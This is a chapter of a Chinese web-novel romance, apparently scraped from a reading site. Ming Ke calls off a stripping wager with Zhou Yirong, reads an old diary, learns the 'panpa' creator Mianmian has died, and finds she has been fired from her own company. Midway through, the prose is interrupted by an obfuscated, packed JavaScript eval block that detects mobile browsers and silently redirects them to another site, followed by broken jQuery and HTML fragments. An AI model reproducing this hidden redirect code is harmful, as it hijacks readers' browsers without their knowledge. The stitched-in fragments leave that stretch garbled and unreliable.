周熠嵘身上穿的衣服不多。


    就算是把零碎的配饰鞋袜算上，也完全不够二十件的。


    那岂不是意味着，他要在她的面前脱光？


    明柯内心地震的这会儿功夫，周熠嵘现在已经在解他衬衫的扣子了。


    “等一下。”


    明柯彻底破了功，抬手叫停。


    周熠嵘此时正在低头解扣子，闻言挑眉看向她。


    此时衬衫的衣扣已经从上往下解了一大半，隐隐约约地露出胸膛的肌肉。


    明柯无奈扶额，挡住他那边的视线，认输道：“我刚才仔细想了想，觉得咱们玩这么大……不太好。”


    “我……跟你道歉。”


    这是她生平第一次对周熠嵘服软。


    当然了，目前这种情况下不服软不行了，否则要把她自己给搭进去。


    她突然叫停，周熠嵘也没恼，反而凑近问：“认输了？”


    认输你个大头鬼！


    明柯气不顺地想顶回去，结果一放下扶在额头上的手，就撞见到了他胸膛大片蜜色的肌肉。


    ……


    她赶忙又把手扶回去。


    明柯：“你把衣服穿好。”


    “嗯。”


    周熠嵘答应的轻易，起身慢慢从下往上扣起纽扣。


    在这个过程中，明柯一直挡着脸，所以没看到周熠嵘现在脸上带笑。


    刚才明柯提出脱一件给一万这个条件的时候，他确实有点慌，下意识就想回去多加几件配饰。


    但刚走到门边，他回过神来了。


    脱衣服这种事，难道就只有他一个人会慌吗？


    想到这，他干脆反锁了房门，又扭头走了回来。


    一切就像他预料的一样。


    明柯只坚持到衬衫，就撑不住了。


    仗着她没看自己，周熠嵘笑得略显放肆，等系好最上面的一颗扣子，才收敛了表情，主动对她道：“我穿好了。”


    明柯把手放下，看到他衣着保守，才算松了口气。


    这混球。


    竟然就一点底线也没有吗？


    明柯觉得自己有点遭不住。


    心里却有个声音在说：这果然是周熠嵘能干出来的事。


    明柯累了，冲他摆手说：“你先走吧，我想一个人待一会儿。”


    周熠嵘问：“那二十万……”


    他还好意思提二十万！


    脸皮都不要了！


    明柯没好气地瞥他一眼，回答：“给你。等会儿就打到你卡上。”


    她这幅模样意外的鲜活，和从前死气沉沉的模样大相径庭。


    周熠嵘很乐意见到她这样，隐晦地勾了勾嘴角。


    不能一下子刺激的太过，再把人气出个好歹。


    “不要你的二十万。”


    周熠嵘转身坐在她的旁边，给台阶道，“刚才不都是逗着玩儿。”


    明柯不想理他。


    她敢确定刚才要不是她及时叫停，周熠嵘肯定会一直脱下去。


    糟心。


    明柯把周熠嵘赶走，一个人安静待了一会儿，心中盘踞的谜团越来越大。


    违和感太强烈了，一定还有其他没发现的事情。


    -


    闲暇时间，明柯断断续续将那个陈旧的笔记本翻完了。


    前面只是简单的日记。


    到了后面逐渐多了些其他的内容，成了手账的样式。


    笔记本的记录截至在她高三的某一天。


    小姑娘偶然得知了资助人的身份，决定要考进她所在读的大学。


    「听说她是一个很优秀的人。」


    「要是能和她做朋友就好了。」


    明柯垂眸在记忆里搜了一圈，却不记得大学时遇到过这样的姑娘。


    笔记本上也没有任何的署名。


    难道是她出了什么变故？


    是中间出了变故？


    这个笔记本又怎么会出现在她家？


    明柯用参赛奖金资助过许多的人，一时间没办法迅速确认日记本主人的身份。


    不过蛛丝马迹还是有的。


    最早的时候网络还不发达，她是用电子邮件和人联系的，后来就一直把这个习惯延续了下来。


    那个邮箱的账号密码是多少来着？


    明柯找出电脑。


    电脑上登着公司的工作软件，明柯刚一打开电脑，立刻有层层叠叠的私聊信息跳出来：


    冯德秋：「老板，你还好吗？」


    贾臻：「眠眠的事已经过去了，你要向前看，千万别被影响。」


    钱灵：「天杀的！这事一定是萌特持干的。」


    明柯看的一头雾水。


    眠眠是谁？


    对家又干什么坏事了？


    在疗养院的这几天，她不是在和周熠嵘斗智斗勇，就是晒太阳、看书、睡觉，昨天晚上好不容易看眼工作软件，还被周熠嵘打断了。


    明柯找出手机，打开社交媒体。


    最上面是两条显眼的热搜：


    #眠眠去世#[爆]


    #panpa亲妈#


    什么意思？


    眠眠是panpa的作者？她去世了？


    明柯蹙眉，探究地点进去。


    「[大哭][大哭][大哭]怪不得三年多前向星突然宣布停售panpa的任何周边。原来眠眠在那个时候就去世了。」


    「我可怜的小向星，一声不吭挨了这么多年的骂。」


    「不止如此，我调查到当年眠眠去世的时候，向星就把这个IP的全部收益都捐给了公益组织。」


    「可是我真的很想要一个panpa啊谁懂？这么多年都买不到，已经成了我的执念。」


    「从今以后怕是再也买不到了。」


    明柯眉头皱的更深了。


    panpa的作者眠眠在三年前去世。


    她和周熠嵘结婚也是在三年前。


    这两件事会有联系吗？


    明柯能猜到萌特持将这件事爆出的目的。


    以前他们千方百计想拿到panpa的版权，想借此为自己提升股价，给公司续命。


    现在版权无望。


    萌特持故意把这桩陈年旧事爆出来，防止向星利用panpa的IP来上市，让他们再也打不出panpa这张王牌。


    这倒是阴差阳错地帮了明柯一把。


    明柯继续浏览起panpa相关的讨论话题。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006778|193234||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    「我每次心情不好的时候就都会重温一遍panpa的小条漫，它治愈了我很多次，没想到眠眠竟然去世的这么早。」


    「眠眠以前一定吃过很多苦吧，所以才能画出这么温暖的漫画。」


    「我那粘人可爱聪明大方的萌物宝宝[大哭]。」


    明柯早就留意到，panpa在向星人的心中地位不一般。


    讳莫如深。


    明柯从来没听他们提起过，导致明柯穿越过来这么久，却是第一次知道关于眠眠的事。


    思考了一会儿。


    明柯打电话给王妈，让她帮忙把公司创建初期的合照送到疗养院来。


    不止panpa，公司初期的很多产品都有眠眠的参与。


    所以合照里肯定会有她。


    网络上沸沸扬扬。


    网友们一边悼念眠眠，一边重温panpa的小漫画。


    顺便也把向星吹上了天。


    公司里。


    冯德秋他们发现私聊给明柯的消息变成了已读，聚在一起讨论怎么处理这件事，要不要把明柯请回来开个会。


    还没讨论出个具体结果，一个熟悉的身影出现在了他们面前。


    周熠嵘脚步生风地地走进来，抬手打了个响指：“管事儿的跟我过来开会。”


    他说的简明扼要，也不在意其他人是个什么表情，转身进了会议室。


    办公区的众人面面相觑。


    最后几个主管还是听话地收拾东西去开会。


    萌特持将眠眠的事挖出来放在公众视野上，就是为了阻止向星上市。


    明柯能看清楚的问题，其他人自然也能。


    不过他们原本也没打算靠着panpa上市，所以这方面并没有给他们带来困扰。


    麻烦的是其他方面。


    panpa玩偶在二手市场上的价格本来就高，但大家都在期盼向星有一天会重新发售。


    可现在眠眠去世的消息传出来。


    panpa玩偶直接成了绝版，身价立马飙升到五千，并且像脱缰的野马一样向着五位数狂奔。


    周熠嵘倒是从容。


    他一踏进疗养院的主楼大厅，就见到了等在那里的明柯。


    明柯撑着沙发副手，姿态懒散，无端冲他冷笑了一下。


    下午的时候。


    她浏览完眠眠的信息，准备去工作软件上看看，结果没登上去。


    系统提示她已经不是这个公司的员工，无权登录。


    她，被她的公司，开除了。


    明柯连思考都不用就能猜出是谁干的。


    疗养院里本来就幽静，现在这个点更是没人走动。


    周熠嵘脚步一滞，慢吞吞地走到了她面前。


    明柯有心找他算账，沉着脸没急着说话，却听周熠嵘先开了口，失落又失意地道：“我回来了。”


    明柯闲闲地撩了他一眼，没看懂这失落是从哪来的。


    周熠嵘继续用那个语气道：“手术很顺利。”


    ？？


    什么？


    明柯以为自己耳朵出了问题。


    周熠嵘深吸一口气：“我爷爷的命保住了。”


    明柯：…………